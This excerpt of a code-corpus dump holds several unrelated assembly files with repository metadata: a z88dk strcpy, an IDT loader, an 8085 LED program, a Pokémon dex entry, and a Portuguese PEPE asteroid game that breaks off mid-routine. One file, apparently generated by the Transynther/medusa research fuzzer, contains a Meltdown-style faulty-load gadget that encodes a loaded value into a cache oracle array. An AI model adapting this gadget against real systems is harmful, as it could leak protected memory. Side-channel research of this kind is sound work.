seq $2,17075 ; a(n) = (8*n)^11.
add $1,$2
lpe
div $1,8589934592
mov $0,$1
| 173 | 1,927 | 0.920039 |
05304e8118d8c98294475063906036be50231b01 | 765 | asm | Assembly | libsrc/_DEVELOPMENT/string/z80/asm_strcpy.asm | UnivEngineer/z88dk | 9047beba62595b1d88991bc934da75c0e2030d07 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/_DEVELOPMENT/string/z80/asm_strcpy.asm | UnivEngineer/z88dk | 9047beba62595b1d88991bc934da75c0e2030d07 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/string/z80/asm_strcpy.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null |
; ===============================================================
; Dec 2013
; ===============================================================
;
; char *strcpy(char * restrict s1, const char * restrict s2)
;
; Copy string s2 to s1, return s1.
;
; ===============================================================
SECTION code_clib
SECTION code_string
PUBLIC asm_strcpy
asm_strcpy:
; enter : hl = char *s2 = src
; de = char *s1 = dst
;
; exit : hl = char *s1 = dst
; de = ptr to terminating NUL in s1
;
; uses : af, bc, de, hl
push de
IF __CPU_INTEL__ || __CPU_GBZ80__
loop:
ld a,(hl+)
ld (de+),a
or a
jr NZ,loop
ELSE
xor a
loop:
cp (hl)
ldi
jr NZ,loop
ENDIF
pop hl
dec de
ret
| 15.3 | 65 | 0.414379 |
6ac140fa53567b93c1fdad758b8cc836f0029d6b | 4,066 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1900.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1900.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1900.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rdx
push %rsi
lea addresses_WT_ht+0xf1d2, %r10
nop
nop
nop
nop
cmp $9845, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm0
vmovups %ymm0, (%r10)
nop
nop
nop
nop
cmp $41305, %rdx
pop %rsi
pop %rdx
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rax
push %rcx
// Faulty Load
mov $0x77b840000000b52, %r12
nop
nop
nop
nop
add $62607, %rax
mov (%r12), %cx
lea oracles, %r12
and $0xff, %rcx
shlq $12, %rcx
mov (%r12,%rcx,1), %rcx
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 60.686567 | 2,999 | 0.663797 |
64a45ba9a37b881f051d25336eadfd4821cc02b6 | 162 | asm | Assembly | src/load_idt.asm | Magical-Chicken/simple-x86-kernel | 8cfa917e6cfb68c6b334429e3e1942760e4ec980 | [
"MIT"
] | null | null | null | src/load_idt.asm | Magical-Chicken/simple-x86-kernel | 8cfa917e6cfb68c6b334429e3e1942760e4ec980 | [
"MIT"
] | null | null | null | src/load_idt.asm | Magical-Chicken/simple-x86-kernel | 8cfa917e6cfb68c6b334429e3e1942760e4ec980 | [
"MIT"
] | null | null | null | .extern IDT_PTR
.extern idt_init
.global load_idt
.type load_idt, @function
load_idt:
cli
call idt_init
lidt IDT_PTR
ret
| 14.727273 | 31 | 0.604938 |
d02ab4a2cbc20602dc6cd74b258f6669031b4850 | 557 | asm | Assembly | EEL7030/Rep CAEE/Mic 8085/Chaves.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | EEL7030/Rep CAEE/Mic 8085/Chaves.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | EEL7030/Rep CAEE/Mic 8085/Chaves.asm | GSimas/MicroC | ac9ef54bbeed027db532885407cc3e783fcb28eb | [
"MIT"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Chaves.asm - Utilizacao de perifericos
;Prof. Roberto M. Ziller - 04.01.2000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
COMMAND EQU 20H
CHAVES EQU 21H
LEDS EQU 22H
ORG 2000H
MVI A,02H ; Porta A como entrada, B como saida
OUT COMMAND
LOOP: IN CHAVES ; Le chaves para o acumulador
OUT LEDS ; Acende os LEDs correspondentes
JMP LOOP
RET ; nao faz sentido mas tb nao atrapalha
END
| 34.8125 | 61 | 0.4614 |
71362acb9ffb733704f8e9229451738d6a281cae | 178 | asm | Assembly | data/pokemon/dex_entries/carvanha.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/dex_entries/carvanha.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/dex_entries/carvanha.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | db "SAVAGE@" ; species name
db "They form packs to"
next "attack boats and"
next "rip out their"
page "hulls to sink"
next "them. They live in"
next "jungle rivers.@"
| 17.8 | 28 | 0.662921 |
e0934d02c02878b49ff3015ce6cc2d6ef054b1c5 | 55,429 | asm | Assembly | 1st_year/IAC/IAC_final.asm | ddavness/IST-LEIC-T | d08769842cad345dd82bcb4b9f61d8433eed4a37 | [
"BSD-3-Clause"
] | 3 | 2019-04-13T16:24:13.000Z | 2019-05-07T12:26:04.000Z | 1st_year/IAC/IAC_final.asm | ddavness/ist-projects | d08769842cad345dd82bcb4b9f61d8433eed4a37 | [
"BSD-3-Clause"
] | null | null | null | 1st_year/IAC/IAC_final.asm | ddavness/ist-projects | d08769842cad345dd82bcb4b9f61d8433eed4a37 | [
"BSD-3-Clause"
] | null | null | null | ; ===========================================================================================================
; ============================================================================================================
; =============================================================================================================
; ????? ????? ????? ??????? ? ? ? ============
; ? ? ? ?? ???? ? ? ? ============
; ? ????? ? ? ?? ? ? ? ? ============
; ? ? ? ? ????? ? ? ? ===========
; ????? ????? ? ????????? ????? ????? ==========
; =========
; ????? ????? ????? ? ? ????? ????? ????? ????? ? ? =========
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? =========
; ? ????? ? ?? ? ? ????? ????? ????? ???? ??? =========
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? =========
; ? ? ? ????? ????? ????? ? ? ? ? ? ? ? =========
; =========
; =========
; UC de Introducao a Arquitetura de Computadores (IAC) - Fase Final do Projeto =========
; ==========
; ===========
; ============
; Ano Letivo 2018/2019 ============
; ============
; =============================================================================================================
; ============================================================================================================
; ===========================================================================================================
; Nota: A versão final do projeto não contém todas as funcionalidades pedidas no enunciado.
; POWERED BY PEPE(TM)
INPUT_SCORE EQU 0A000H ; Endereco de input do score
INPUT_LINE EQU 0C000H ; Endereco de input da linha
OUTPUT_COL EQU 0E000H ; Endereco de output da coluna
PIX_SCREEN EQU 08000H ; Endereco-base do ecra
; Definições
ASTEROIDE_DELAY EQU 7 ; Tempo mínimo entre dois asteroides aparecerem no mapa (conta-se de 0.3 em 0.3 segundos) ; Máximo 4 asteroides
INTRO_DELAY EQU 3 ; Compasso de espera artificial
SPEED_THRESHOLD_0 EQU 04H
SPEED_THRESHOLD_1 EQU 0CH
SPEED_THRESHOLD_2 EQU 16H
SIZE_THRESHOLD_2 EQU 5
SIZE_THRESHOLD_3 EQU 9
SIZE_THRESHOLD_4 EQU 13
SIZE_THRESHOLD_5 EQU 17
SIZE_THRESHOLD_6 EQU 23
; =================================================================================================================================================================
; ====================================================== Declaracao de Dados ======================================================
; =================================================================================================================================================================
PLACE 1000H ; Variáveis Diversas
scr_file: ; Dados que compoem o ecra inicial (PRESS C TO PLAY)
STRING 000H, 00H, 000H, 000H
STRING 000H, 00H, 000H, 000H
STRING 00FH, 7BH, 0DEH, 0F0H
STRING 009H, 4AH, 010H, 080H
STRING 009H, 4BH, 09EH, 0F0H
STRING 00EH, 72H, 002H, 010H
STRING 008H, 4AH, 002H, 010H
STRING 008H, 4BH, 0DEH, 0F0H
STRING 000H, 00H, 000H, 000H
STRING 000H, 00H, 000H, 000H
STRING 000H, 0FH, 0F0H, 000H
STRING 000H, 0FH, 0E0H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0CH, 000H, 000H
STRING 000H, 0FH, 0E0H, 000H
STRING 000H, 0FH, 0F0H, 000H
STRING 000H, 00H, 000H, 000H
STRING 000H, 00H, 000H, 000H
STRING 000H, 00H, 000H, 000H
STRING 0F7H, 87H, 0A1H, 0E9H
STRING 044H, 84H, 0A1H, 029H
STRING 044H, 84H, 0A1H, 0EFH
STRING 044H, 87H, 021H, 022H
STRING 044H, 84H, 021H, 022H
STRING 047H, 84H, 03DH, 022H
STRING 000H, 00H, 000H, 000H
STRING 000H, 00H, 000H, 000H
STRING 0FFH, 00H ; 0FFH atua como EOF ("end of file")
score: WORD 0 ; Pontuação (tentar extrair a pontuação do input dos displays só nos dá um número ao calhas)
game: WORD 0 ; Estado do Jogo (0 = Por Começar; -1 - Em Pausa; 1 - A correr
missil:
WORD -1 ; Posição do míssil, definida por interrupcao (XXYY). Por defeito igual a -1 = 0FFFFH, fora dos limites do ecra
missil_render:
WORD -1 ; Posição do míssil, confirmada via processo (XXYY)
missil_range:
WORD 0 ; Distância percorrida pelo míssil
mascaras:
STRING 80H, 40H, 20H, 10H ; Biblioteca de mascaras de bit unico (ex. 00010000b), para serem usadas na rotina exe_pixel
STRING 08H, 04H, 02H, 01H ; Isto consome algum espaço em memoria mas alivia poder de processamento (com SHR's e SHL's), que no PEPE, é (muito) escasso
atnd_itrpc: ; Atendimento de interrupções (para a BTE)
WORD int_prim
WORD int_sec
wheel: ; Os dois bits de menor peso não servem para nada, exceto para "enganar" o PEPE e não ativar a flag ZERO
STRING 00110011b ; -1 >>> Viragem à esquerda
STRING 01001011b ; 0 >>> Volante estabilizado
STRING 10000111b ; +1 >>> Viragem à direita
PLACE 1100H
asteroide:
; Asteroide 1
WORD -1 ; Define coordenadas (semelhante ao que já vimos em relação ao missil) - (XXYY)
WORD 0 ; Definem várias informações acerca do asteróide (ao nível do nibble): Tipo (0 é mau, 1 é bom, 2 refere-se que o asteroide foi abatido)
;-------- ; Velocidade Lateral (0 = -1, 1 = 0, 2 = +1), Tamanho (em píxeis, de 0 a F): 0LTS, L = Direcao Lateral, T = Tipo, S = Tamanho
WORD -1
WORD 0 ; Valores iguais para o mesmo asteroide mas só para serem usados pelo processo principal (mostra com que dados o asteroide foi desenhado)
PLACE 1200H
asteroide2:
WORD -1
WORD 0
WORD -1
WORD 0
PLACE 1300H
asteroide3:
WORD -1
WORD 0
WORD -1
WORD 0
PLACE 1400H
asteroide4:
WORD -1
WORD 0
WORD -1
WORD 0
; À semelhança do que temos no míssil, se o valor das coordenadas for -1 (= 0FFFFH) então o asteroide não existe
PLACE 1500H
ast_clock:
WORD ASTEROIDE_DELAY ; Variável de controlo
PLACE 2000H
stack:
TABLE 1000H ; reserva espaco para a pilha
SP_init: WORD 0
; =================================================================================================================================================================
; ================================================== Corpo Principal do Programa ==================================================
; =================================================================================================================================================================
PLACE 0000H ; Execução Primária
;; INICIALIZAÇÃO ANTES DE TUDO!!! ;;
mem_init:
MOV R0, score ; Obtém o endereço onde a pontuação é guardada
MOV R1, 0 ; Prepara o valor
MOV [R0], R1 ; Garante que a pontuação e limpa
MOV SP, SP_init ; Inicializa o stack pointer
MOV BTE, atnd_itrpc ; Liga as interrupções às rotinas desenhadas para as atender
MOV R0, asteroide
EI0 ; Ativar interrupção primaria
EI1 ; Ativar interrupção secundaria
EI ; Disjuntor principal de interrupções
;; ECRÃ INICIAL ;;
reset: ; Re-inicializacao dos registos
MOV R0, scr_file
SUB R0, 1 ; Indexador de memória imediatamente antes do início dos dados do ecra inicial
MOV R1, PIX_SCREEN
SUB R1, 1 ; Um segundo indexador imediatamente antes do início do endereco do periferico PixelScreen
MOV R3, 00FFH ; Registo temporario da mascara 11111111b (Saltamos o R2 de proposito, fica para o conteudo do ecra)
render_init:
ADD R0, 1 ; Passa ao proximo byte a editar
ADD R1, 1 ; Proximo endereco a aceder
MOVB R2, [R0] ; Obtem o conteudo em memoria
CMP R2, R3 ; se o valor obtido em memoria for FF (nao existem bytes completos neste ecra inicial, por isso FF atua como o "EOF"), termina o ciclo
JZ teclado_prep
MOVB [R1], R2 ; Injeta o byte no ecra, e volta ao princípio
JMP render_init
; Neste momento, nehuma da informacao presente nos registos e importante para manter
teclado_prep: ; Prepara o teclado
MOV R0, INPUT_LINE
MOV R1, 8
MOVB [R0], R1 ; 8 = 1000b. Vai dizer ao teclado para procurar apenas na ultima linha
MOV R2, OUTPUT_COL ; Obtém o endereco de onde extrair a coluna
MOV R10, 0FFFH ; Ativa a flag para o "blink" dos displays - alterna entre a pontuacao obtida e o código "CC"
esperaC:
MOVB R3, [R2] ; Extrai a tecla seleccionada
CMP R3, 1 ; 1 = 0001b. Na ultima linha corresponde a tecla C.
JNZ esperaC ; Repete o processo se a tecla C nao tiver sido carregada. Caso contrário continua
CALL render_chess ; Cria um padrao xadrez no ecra. Ver "Subrotinas a executar"
MOV RL, INTRO_DELAY ; Atua como flag para a interrupção primaria (3 = duas interrupções)
compasso_espera: ; Para nao ser tudo demasiado rápido, vamos esperar por tres interrupções secundarias (entre 0.4 e 0.6 segundos).
CMP RL, 0 ; Não passamos daqui enquanto a flag não tiver sido reposta a zero (cada interrupcao decrementa a flag em 1)
JNZ compasso_espera
CALL render_empty ; Limpa o ecra, e passamos à proxima parte
;; COCKPIT DA NAVE ;;
load_init:
MOV R0, 8080H ; Endereco do 1o byte a escrever (mais a primeira subtracao, como temos tido feito nestas situacoes)
MOV R1, 80H ; Payload a injetar (tem em conta a primeira alteracao) = 1000 0000b
MOV R2, 0 ; Altura em pixeis, registo de controle (indice de um ciclo for)
load1: ; Primeira escada de linhas - ascendente
SUB R0, 4 ; Na primeira subtracao, R0 = 807CH
SHR R1, 1 ; Desloca o pixel a injetar
ADD R2, 1 ; Aumenta a altura no ecra
MOVB [R0], R1 ; Injeta o byte no ecra
CMP R2, 5 ; Se a altura nao tiver chegado a altura definida (6 pixeis, so foi colocado 5 porque o 6o e executado de maneira diferente)
JNZ load1 ; Repete o processo
load2: ; Caso contrario, passamos a 2a fase
SUB R0, 4 ; Aumenta a altura de novo (onde o byte vai ser colocado), desta vez com um proposito ligeiramente diferente
MOV R1, 3H ; Define os pixeis a injetar (0000 0011b)
MOV R2, 6 ; Aumenta a altura no ecra para 6, vamos usar isto já a seguir
MOVB [R0], R1 ; Injeta o payload
MOV R1, 0FFH ; Muda o payload para um byte inteiro - estamos a fazer a borda de cima do cockpit
ADD R0, 1 ; Byte a direita
MOVB [R0], R1
; Como não temos que repetir isto muitas vezes, fizemos a operacao sequencialmente
ADD R0, 1 ; Byte a direita
MOVB [R0], R1 ; Injeta novamente um byte inteiro
ADD R0, 1 ; Byte a direita
MOV R1, 0C0H ; Muda o payload de novo, a preparar a fase 1 ao contrario! (1100 0000b)
MOVB [R0], R1 ; Injeta no ecra
MOV R1, 40H ; Payload default de novo (desta vez para os bits vao ser deslocados à direita)
load3: ; Segunda escada de linhas - descendente
ADD R0, 4 ; Na primeira adicao, RL = 6FH, na ultima, 7FH
SHR R1, 1 ; Desloca o pixel a injetar
SUB R2, 1 ; Diminui a altura no ecra
MOVB [R0], R1 ; Injeta o byte no ecra
CMP R2, 1 ; Se a altura nao tiver chegado "ao chao" (altura = 1)
JNZ load3 ; Repete o processo
; Criacao do volante. Apenas para efeitos de demonstracao vamos usar a rotina exe_pixel
MOV R0, 1 ; Indicacao que o pixel estara ativo
MOV R1, 12 ; Coordenada X
MOV R2, 29 ; Coordenada Y
MOV R3, 18 ; Limite
load4:
ADD R1, 1
CALL exe_pixel
CMP R1, R3 ; O ultimo pixel do volante tem coordenadas (18, 29)
JNZ load4
;; INICIO DE JOGO ;;
game_begin: ; Inicializacao dos comandos de steer (esquerda, direita)
; COMENTARIO SOBRE AS TECLAS A USAR:
; 0 - VIRAR A ESQUERDA
; 1 - DISPARAR MÍSSIL
; 2 - EMP?
; 3 - VIRAR A DIREITA
; C - Comecar o jogo
; D - Pausa
; F - Reinicia o jogo
MOV R10, 0 ; Desativa a flag R10 do score_blink. R10 passa a ser o registo temporário da tecla carregada
MOV R2, 0 ; Última Tecla Selecionada na primeira linha
MOV R3, 0 ; Última tecla selecionada na ultima linha
MOV R4, 1 ; Registo de linha 1
MOV R5, 8 ; Registo da linha 4 (e comparacao)
MOV R0, score
MOV [R0], R10 ; Inicializacao mesmo a zeros! Aproveitamos o facto de o registo R10 já estar a zeros
MOV R0, INPUT_SCORE
MOV [R0], R10 ; Score a zero nos displays
MOV R0, game
MOV [R0], R4 ; O jogo passa ao estado 1 (a correr)
MOV R0, INPUT_LINE ; Input da Linha
MOV R1, OUTPUT_COL ; Output da Coluna
; RL passa a ser o registo de direção da nave (-1 = Esquerda; 0 = Estabilizado; 1 = Direita)
;; DETEÇÃO DE TECLAS! ;;
detect_l1:
EI0 ; Algumas operações acabam por desligar os disjuntores das interrupções, por isso é mais seguro ativares
EI1
EI
MOVB [R0], R4 ; Input da linha (1a linha = 0000 0001b)
MOVB R10, [R1] ; Obtem a coluna a ser carregada
CMP R10, R2 ; A tecla era igual à ultima registada?
JZ detect_l4 ; Se sim, então ou ainda não largámos essa tecla ou não estamos a usar uma tecla sequer. Passa à proxima linha!
MOV R2, R10 ; Caso contrário, a última tecla passa a ser esta, e continuamos!
CMP R10, 1 ; Foi a primeira coluna? (0001b, tecla 0)
JZ det_1 ; Se sim, processa viragem à esquerda
CMP R10, 2 ; Foi a segunda coluna? (0010b, tecla 1)
JZ det_2 ; Se sim, processa possibilidade de mandar um míssil
CMP R10, R5 ; Foi a quarta coluna? (1000b, tecla 3)
JZ det_8 ; Se sim, processa viragem à direita
JMP det_def ; Se não, processa como default (volante estabilizado)
det_1: ; Tecla 0/Viragem esquerda
MOV RL, -1 ; Reg. Dir = -1
JMP det_up ; Atualizar
det_2: ; Tecla 1/Disparar míssil
MOV R6, missil ; Obter o endereço do míssil
MOV R7, [R6] ; Obter coordenadas do míssil
CMP R7, -1 ; Se a coordenada é default, então criamos um míssil, senão este já existe e ignoramos
JNZ det_up ; Senão atualizamos o volante e continuamos
PUSH R0 ; Evitemos destruír os registos preciosos mas vamos precisar deles por enquanto
PUSH R1
PUSH R2
MOV R0, 1F29H ; Define coordenadas do novo míssil. A notação XXYY tem um offset de 10H píxeis das coordenadas reais para permitir alguma folga no tratamento de coordenadas negativas.
CALL xxyy_decode ; Separa o R0 nas coordenadas X(R1) e Y(R2)
PUSH R0
CALL exe_pixel ; R0 é diferente de zero, por isso o píxel vai ser ativado
POP R0
MOV [R6], R0 ; Injeta na memória, ficando acessível às interrupções
MOV R6, missil_render
MOV [R6], R0 ; Declara que o míssil ja foi desenhado para a coordenada pretendida
POP R2
POP R1
POP R0 ; Já usámos estes registos, vamos restaurá-los agora
JMP det_up
det_8: ; Tecla 3/Viragem direita
MOV RL, 1 ; Reg. Dir = +1
JMP det_up ; Atualizar
det_def: ; Volante Estabilizado
MOV RL, 0 ; Reg. Dir = 0
det_up:
CALL update_handle ; Atualiza o volante
detect_l4: ; Deteta tecla D para incrementar score em 3 pontos
MOVB [R0], R5 ; Input na última linha (8 = 0000 1000b)
MOVB R10, [R1] ; Obtem a coluna a ser carregada
CMP R10, R3 ; A tecla ja estava carregada?
JZ missil_move ; Se sim volta ao inicio
MOV R3, R10 ; Senao guarda essa tecla
CMP R10, 2 ; Segunda coluna (Tecla D na ultima linha?)
JZ pause_game ; Se sim põe o jogo em pausa
CMP R10, R5 ; Quarta coluna (Tecla F na ultima linha?)
JZ fim
;; MOVIMENTO DO MÍSSIL ;;
missil_move:
PUSH R0 ; Ao contrário daquilo que se pensa, isto não é uma rotina.
PUSH R1
PUSH R2
MOV R0, missil ; Endereço das coordenadas do míssil
MOV R1, [R0] ; Obter coordenadas do míssil
MOV R0, missil_render ; Obter coordenadas do míssil desenhado
MOV R2, [R0]
CMP R1, R2 ; Se as coordenadas são iguais, não vamos desperdiçar tempo, voltamos ao início
JZ missil_clear ; Limpar a pilha e voltar ao início
PUSH R1 ; Caso contrário, guardamos novas cópias das coordenadas dos mísseis
PUSH R2
MOV R0, R1 ; Colocar a coordenada nova para ser separada
CALL xxyy_decode ; Separa o conteúdo de R0 em coordenadas X(R1) e Y(R2) para a rotina exe_pixel
MOV R0, 1 ; Confirmar que a rotina está programada para acender o píxel
CALL exe_pixel ; Acender o novo píxel
POP R2
POP R1 ; Restaurar os valores antigos
MOV R0, missil_render ; Buscar o endereço onde a localização efetiva do míssil é escrita
MOV [R0], R1 ; Declarar que o píxel já foi escrito
MOV R0, R2 ; Preparar a posição antiga para ser separada
CALL xxyy_decode ; Separar a coordenada antiga em duas
MOV R0, 0 ; Confirmar que a coordenada antiga será desativada
CALL exe_pixel ; Desligar o píxel antigo
missil_clear:
POP R2 ; Restaurar os valores antigos e continuar os processos
POP R1
POP R0
;; MOVIMENTO DOS ASTEROIDES ;;
asteroide_materializa: ; Materializa os asteroides!
PUSH R0
PUSH R1
PUSH R2
PUSH R4
PUSH R8
PUSH R9
MOV R0, asteroide ; Obter o endereco-base dos asteroides
MOV R1, 0 ; Registo de offset
MOV R3, 300H ; Limite do offset
MOV R4, 100H
asteroide_lookup:
MOV R2, [R0 + R1] ; Obtém o conteúdo (coordenada) do slot (R1 = 0, 100H, 200H, 300H ==> 1, 2, 3, 4 (a ==> (a/100H) + 1)
JMP desenha_asteroide ; Tenta gerar o asteroide
analisa_slot_main:
CMP R1, R3 ; Se já tivermos analisado o quarto slot
JZ asteroide_clear ; Passamos a proxima fase
ADD R1, R4 ; Passa ao próximo slot
JMP asteroide_lookup ; Recomeca o processo
desenha_asteroide:
PUSH R0
PUSH R1
; Apenas fazer isto se as coordenadas novas e as antigas forem diferentes!!!!
ADD R0, R1 ; Tornar o offset "permanente"
PUSH R2
PUSH R3
MOV R2, [R0] ; Coordenadas novas
MOV R3, [R0 + 4] ; Coordenadas desenhadas
CMP R2, R3 ; Se forem diferentes, atualiza
JNZ erase_old
MOV R2, [R0 + 2] ; Caracteristicas novas
MOV R3, [R0 + 6] ; Caracteristicas desenhadas
CMP R2, R3 ; Se forem diferentes, atualiza
JNZ erase_old
; Caso contrario, o asteroide nao mudou, e podemos ignorá-lo
POP R3
POP R2
POP R1
POP R0 ; Anula o empilhamento e "devolve" a carta ao remetente
JMP analisa_slot_main
; Apagar o conteudo antigo
erase_old:
POP R3 ; Se mandaram para aqui, então ainda não "recuperaram" da pilha...
POP R2
MOV R8, R0 ; O R0 vai ser preciso para outra coisa, e o R8 é argumento da rotina exe_asteroide
ADD R8, 4 ; Colocar o indexador no endereco processado pelo processo principal (referente ao desenho)
MOV R9, 0 ; Ordem de apagar
MOV R1, [R8] ; Obter o conteudo
CMP R1, -1 ; Se o asteroide nao existir, ignora
JZ draw_new
CALL exe_asteroide ; Senão, continua com a ordem de "apagamento"!
; Desenhar o asteroide novo
draw_new:
PUSH R0
MOV R0, [R0] ; Extrai o valor de coordenadas novo
CMP R0, -1 ; Se o asteroide novo nao existir, ignora
JZ clear
MOV [R8], R0 ; Senao coloca o valor novo no sítio do desenho
MOV R0, [SP] ; Buscar o valor de R0 à pilha mantendo-a como está
MOV R0, [R0 + 2] ; Buscar as características do asteroide novo à memoria
MOV [R8 + 2], R0 ; Colocar no endereco respetivo do desenho
MOV R9, 1 ; Ordem de desenhar
CALL exe_asteroide ; Executar a ordem.
clear:
POP R0
POP R1
POP R0
JMP analisa_slot_main
asteroide_clear:
POP R9
POP R8
POP R4
POP R2
POP R1
POP R0
;; COLISAO ;;
JMP detect_l1
;; CONDIÇÃO DE JOGO EM PAUSA! ;;
pause_game:
MOV R6, game
MOV R7, -1
MOV [R6], R7 ; Colocar o estado de jogo a -1 (em pausa)
CALL negative ; Inverter o ecrã de jogo. Porque não?
espera_retira_D:
